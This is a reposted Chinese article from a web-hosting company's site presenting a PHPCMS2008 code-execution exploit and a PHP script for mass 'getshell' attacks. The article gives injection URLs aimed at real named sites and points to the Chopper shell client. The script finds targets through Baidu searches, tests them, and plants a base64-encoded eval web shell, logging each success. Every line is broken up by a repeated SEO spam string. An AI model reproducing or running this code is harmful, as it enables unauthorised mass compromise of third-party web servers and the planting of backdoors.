加入收藏 | 设为首页 | 会员中心 | 我要投稿 | 在线留言 | RSS
成网科技业务包括域名空间企业网站制作
 
国际域名com/net/org仅售80元/年
1G独立空间(PHP+MYSQL)仅售600元/年
您当前的位置:首页 > 技术交流 > 网络安全 > 脚本攻防

phpcms2008 代码执行 批量getshell EXP(使用菜刀)

时间:2014-08-02 12:04:57  来源:互联网  作者:佚名  点击:

玩也玩够了,有点鸡肋,会提示此模板没安装等情况..有人发出来了 那老衲也发吧aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

谷歌批量还需改进 一会儿会补上! aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

原文:aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

http://www.wooyun.org/bug.php?action=view&id=2984aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

测试如下:aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

http://www.90sec.org/yp/product.php?pagesize=${@phpinfo()}aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

测试结果:aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

http://www.cnqiyou.com/yp/product.php?pagesize=${@phpinfo()}aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

 aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

EXP:aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

http://www.cnqiyou.com/yp/product.php?pagesize=${${@eval%28$_POST[cmd]%29}}aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

直接菜刀链接 http://www.jb51.net/softs/163997.htmlaYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

批量EXP:aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

PS:根据百度搜索批量 aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

复制代码代码如下:aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
<?phpaYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
error_reporting(E_ERROR);aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
set_time_limit(0);</p><p>$keyword='inurl:about/joinus' ; // 批量关键字aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$timeout = 1; aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$stratpage = 1; aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$lastpage = 10000000; aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
for ($i=$stratpage ; $i<=$lastpage ; $i++ ){aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$array=ReadBaiduList($keyword,$timeout,$i);aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
foreach ($array as $url ){aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$url_list=file('url.txt');aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
if (in_array("$url/r/n",$url_list)){aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
echo "[-] Links repeat/n";aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
}else{aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$fp = @fopen('url.txt', 'a'); aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
@fwrite($fp, $url."/r/n");aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
@fclose($fp);aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
print_r("aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
[-] Get ...... $url/r/n");aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
if(okbug($url)){aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$exploit=exploit($url);</p><p>$ors=okor($url);aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
if ($ors){aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
echo "[*] Shell:-> ".$url."/yp/fuck.php/n"; aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$fp = @fopen('shell.txt', 'a');aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
@fwrite($fp, $url."/yp/fuck.php/r/n");aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
@fclose($fp);aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
}aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
}else{aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
print "[-] No Bug!/n";aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
} aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
}aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
}aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
}</p><p>function exploit($url){ aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$host=$url; aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$port="80"; aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$content <a href="mailto:='a=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskZnAgPSBAZm9wZW4oJ2Z1Y2sucGhwJywgJ2EnKTsgDQoNQGZ3cml0ZSgkZnAsJzw%2FcGhwIEBldmFsKCRfUE9TVFtjZmtpbmddKTs%2FPicpOw0KDUBmY2xvc2UoJGZwKTs7ZWNobygifDwtIik7ZGllKCk7'">='a=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskZnAgPSBAZm9wZW4oJ2Z1Y2sucGhwJywgJ2EnKTsgDQoNQGZ3cml0ZSgkZnAsJzw%2FcGhwIEBldmFsKCRfUE9TVFtjZmtpbmddKTs%2FPicpOw0KDUBmY2xvc2UoJGZwKTs7ZWNobygifDwtIik7ZGllKCk7'</a>;aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$data = 'POST <a>/yp/product.php?pagesize=${${@eval%28$_POST[a]%29</a>}} HTTP/1.1'."/r/n"; aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$data .= "X-Forwarded-For: 199.1.88.29/r/n";aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$data .= "Referer: <a href="http://$host/r/n">http://$host/r/n</a>";aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$data .= "Content-Type: application/x-www-form-urlencoded/r/n";aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$data .= "User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0/r/n";aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$data .= "Host: $host/r/n";aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$data .= "Content-Length: ".strlen($content)."/r/n";aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$data .= "Cache-Control: no-cache/r/n/r/n";aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$data .= $content."/r/n";aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$ock=fsockopen($host,$port);aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
if (!$ock) {aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
echo "[*] No response from $host/n";aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
}aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
fwrite($ock,$data);aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
while (!feof($ock)) {aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$exp=fgets($ock, 1024);aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
return $exp;aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
}aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
}</p><p>function okor($host){ aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$tmp = array();aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$data = '';aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$fp = @fsockopen($host,80,$errno,$errstr,60);aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
@fputs($fp,"GET /yp/fuck.php HTTP/1.1/r/nHost:$host/r/nConnection: Close/r/n/r/n");aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
while ($fp && !feof($fp))aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$data .= fread($fp, 102400);aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
@fclose($fp);aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
if (strpos($data, '200') !== false) {aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
return true;aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
}else{aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
return false;aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
}aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
}aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
function okbug($host){ aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$tmp = array();aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$data = '';aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$fp = @fsockopen($host,80,$errno,$errstr,60);aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
@fputs($fp,'GET /yp/product.php?view_type=1&catid=&pagesize={${phpinfo()}}&areaname=&order= HTTP/1.1'."/r/nHost:$host/r/nConnection: Close/r/n/r/n");aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
while ($fp && !feof($fp))aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$data .= fread($fp, 102400);aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
@fclose($fp);aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
if(preg_match('/(php.ini)/i',$data)) {aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
return true;aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
}else{aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
return false;aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
}aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
}</p><p>function ReadBaiduList($keyword,$timeout,$nowpage) aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
{aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$tmp = array();aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
//$data = '';aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$nowpage = ($nowpage-1)*10;aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$fp = @fsockopen('www.baidu.com',80,$errno,$errstr,$timeout);aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
@fputs($fp,"GET /s?wd=".urlencode($keyword)."&pn=".$nowpage." HTTP/1.1/r/nHost:[url]www.baidu.com[/url]/r/nConnection: Close/r/n/r/n");aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
while ($fp && !feof($fp))aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$data .= fread($fp, 1024);aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
@fclose($fp);aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
preg_match_all("//}/)/" href/=/"http/:////([^~]*?)/" target/=/"/_blank/"/i",$data,$tmp);aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$num = count($tmp[1]);aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$array = array();aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
for($i = 0;$i < $num;$i++)aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
{aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$row = explode('/',$tmp[1][$i]);aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$array[] = str_replace('http://','',$row[0]);aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
}aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
return $array;aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
}aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
?>aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
aYG成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

成网科技 www.it28.com竭诚为您服务!
开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设_成网科技

更多
 


来顶一下
返回首页
返回首页
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表
推荐资讯
相关文章
栏目更新
栏目热门